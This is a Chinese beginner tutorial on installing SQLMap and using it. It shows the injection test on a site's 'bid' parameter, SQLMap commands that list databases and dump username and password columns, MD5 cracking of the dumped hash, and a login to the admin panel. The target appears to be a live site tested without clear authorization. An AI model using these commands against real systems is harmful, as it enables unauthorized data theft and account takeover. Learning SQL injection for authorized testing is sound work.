从0到1学习网络安全 【Web安全入门篇-SQLMap 注入实战】

前言

上篇我们已经一起学习了手工注入的原理,今天我们将一起学习一款十分著名的,自动化的SQL注入工具 SQLMap。

SQLMap 是什么

SQLMap是开源的自动化SQL注入工具,由Python写成,具有如下特点:

  • 完全支持MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和Informix等多种数据库管理系统。
  • 完全支持布尔型盲注、时间型盲注、基于错误信息的注入、联合查询注入和堆查询注入。
  • 在数据库证书、IP地址、端口和数据库名等条件允许的情况下支持不通过SQL注入点而直接连接数据库。
  • 支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列。
  • 支持自动识别密码哈希格式并通过字典破解密码哈希。
  • 支持完全地下载某个数据库中的某个表,也可以只下载某个表中的某几列,甚至只下载某一列中的部分数据,这完全取决于用户的选择。
  • 支持在数据库管理系统中搜索指定的数据库名、表名或列名
  • 当数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时支持下载或上传文件。
  • 当数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时支持执行任意命令并回现标准输出。

安装方法

准备工作:
Windows7 操作系统(在虚拟机里装就OK了)
Python2.7.11 下载地址:https://www.python.org/downloads/
SQLMap 下载地址:http://sqlmap.org/
这里也可以直接在我网盘下载:
链接: https://pan.baidu.com/s/10YU5UdhZwizeEFrSnIGisw 密码: xhgn

Step1. Python2.7.11 安装

1.1 直接双击下载好的安装包,默认,Next :

《从0到1学习网络安全 【Web安全入门篇-SQLMap 注入实战】》 image.png

1.2 默认,Next :

《从0到1学习网络安全 【Web安全入门篇-SQLMap 注入实战】》 image.png

1.3 默认,Next :

《从0到1学习网络安全 【Web安全入门篇-SQLMap 注入实战】》 image.png

1.4 完成:

《从0到1学习网络安全 【Web安全入门篇-SQLMap 注入实战】》 image.png

1.5 设置环境变量 右击计算机->属性,出现页面后点击高级系统设置(如图):

《从0到1学习网络安全 【Web安全入门篇-SQLMap 注入实战】》 image.png

1.6 点击环境变量:

《从0到1学习网络安全 【Web安全入门篇-SQLMap 注入实战】》 image.png

1.7 在系统变量栏中找见 Path 变量 选中并双击:

《从0到1学习网络安全 【Web安全入门篇-SQLMap 注入实战】》 image.png

1.8 在变量值末尾加入 ;C:\Python27 ,确定:

《从0到1学习网络安全 【Web安全入门篇-SQLMap 注入实战】》 image.png

1.9 打开终端输入 python 如图则环境变量配置完成:

《从0到1学习网络安全 【Web安全入门篇-SQLMap 注入实战】》 image.png

Step2. SQLMap 安装

2.1 将下载好的SQLMap 压缩包,压缩到Python目录下并改名为sqlmap;

2.2 在桌面创建快捷键并命名为SQLMap,如图:

《从0到1学习网络安全 【Web安全入门篇-SQLMap 注入实战】》 image.png

《从0到1学习网络安全 【Web安全入门篇-SQLMap 注入实战】》 image.png

2.3 创建好快捷键后 右击->属性 设置起始位置,如图:

《从0到1学习网络安全 【Web安全入门篇-SQLMap 注入实战】》 image.png

2.4 双击快捷键,输入 sqlmap.py ,如图所示则配置成功:

《从0到1学习网络安全 【Web安全入门篇-SQLMap 注入实战】》 image.png

Step3. 使用方法

实例

3.1
查找注入点,判断方法

  • bid=26 and 1=1 页面显示正常。
  • bid=26 and 1=2 页面显示不正常。
    说明此页面存在注入漏洞。

《从0到1学习网络安全 【Web安全入门篇-SQLMap 注入实战】》 image.png

《从0到1学习网络安全 【Web安全入门篇-SQLMap 注入实战】》 image.png

3.2 打开SQLMap 扫描注入点是否可用:

语法:sqlmap.py –u “URL地址”

《从0到1学习网络安全 【Web安全入门篇-SQLMap 注入实战】》 image.png

扫描结果:

《从0到1学习网络安全 【Web安全入门篇-SQLMap 注入实战】》 image.png

注入结果展示:

  • 注入参数bid 为GET注入,注入类型有三种分别是:boolean-based blind 、 AND/OR time-based blind 、UNION query。
  • Web应用程序技术为:Apache
  • 数据库类型为:MySQL 5.0.12

在扫描过程中有若干询问语句,需要用户输入[Y/N],如果你不想输入或者不懂怎么输入可以让程序自动输入,只需添加一个参数即可,命令如下:

sqlmap.py –u “URL地址” –batch

3.3 暴库
一条命令即可暴出该MySQL中所有数据库名称,命令如下:

sqlmap.py -u ” URL地址” –dbs –batch
参数:
–dbs :dbs前面有两条杠,请看清楚。

扫描结果:

《从0到1学习网络安全 【Web安全入门篇-SQLMap 注入实战】》 image.png

结果中显示该MySQL 中共包含3个可用的数据库。

3.4 Web 当前使用的数据库

语法:sqlmap.py –u ” URL地址” –current-db –batch

扫描结果:

《从0到1学习网络安全 【Web安全入门篇-SQLMap 注入实战】》 image.png

3.5 Web 数据库使用账户

语法 : sqlmap.py -u ” URL地址” –current-user –batch

扫描结果:

《从0到1学习网络安全 【Web安全入门篇-SQLMap 注入实战】》 image.png

3.6 列出 MySQL 所有用户

语法 : sqlmap.py -u “URL地址” –users –batch

扫描结果:

《从0到1学习网络安全 【Web安全入门篇-SQLMap 注入实战】》 image.png

3.7 数据库账户与密码

语法:sqlmap.py -u “URL地址” –passwords –batch

没有扫描出来 – _-! 影响不大继续整~

《从0到1学习网络安全 【Web安全入门篇-SQLMap 注入实战】》 image.png

3.8 列出数据库中的表

语法:
sqlmap.py -u “URL地址” –D database_name –tables –batch
参数:
-D:指定数据库名称
–tables:列出表

扫描结果:

《从0到1学习网络安全 【Web安全入门篇-SQLMap 注入实战】》 image.png

结果共列出 25 张表。

3.9 列出表中字段

语法:
sqlmap.py -u ” URL地址” -D database_name -T table_name –columns –batch
参数:
-D:指定数据库名称
-T:指定要列出字段的表
–columns:指定列出字段

扫描结果:

《从0到1学习网络安全 【Web安全入门篇-SQLMap 注入实战】》 image.png

结果显示该表中包含了3条字段。

3.10 暴字段内容

语法:
sqlmap.py -u “URL地址” -D database_name –T table_name -C “password,username” –dump –batch
参数:
-C:指定要暴的字段
–dump:将结果导出

扫描结果:

《从0到1学习网络安全 【Web安全入门篇-SQLMap 注入实战】》 image.png

3.11 实验结果
通过上图结果得到用户信息为:
Username:******
Password:******
通过MD5解密得到密码原文密码为:******

Step4. 登录后台

拿到账号密码后我们来测试是否可以登录,利用御剑扫描工具扫出后台:

《从0到1学习网络安全 【Web安全入门篇-SQLMap 注入实战】》 image.png

双击打开:

《从0到1学习网络安全 【Web安全入门篇-SQLMap 注入实战】》 image.png

输入账号密码,登录成功:

《从0到1学习网络安全 【Web安全入门篇-SQLMap 注入实战】》 image.png

注:友情检测,如有侵权请联系删除

从0到1学习网络安全 【目录】

小编最近建了交流群方便大家交流学习,群内有小编平时整理的学习资料、视频、工具等。
白帽交流群 【简介】
感谢大家支持。

点赞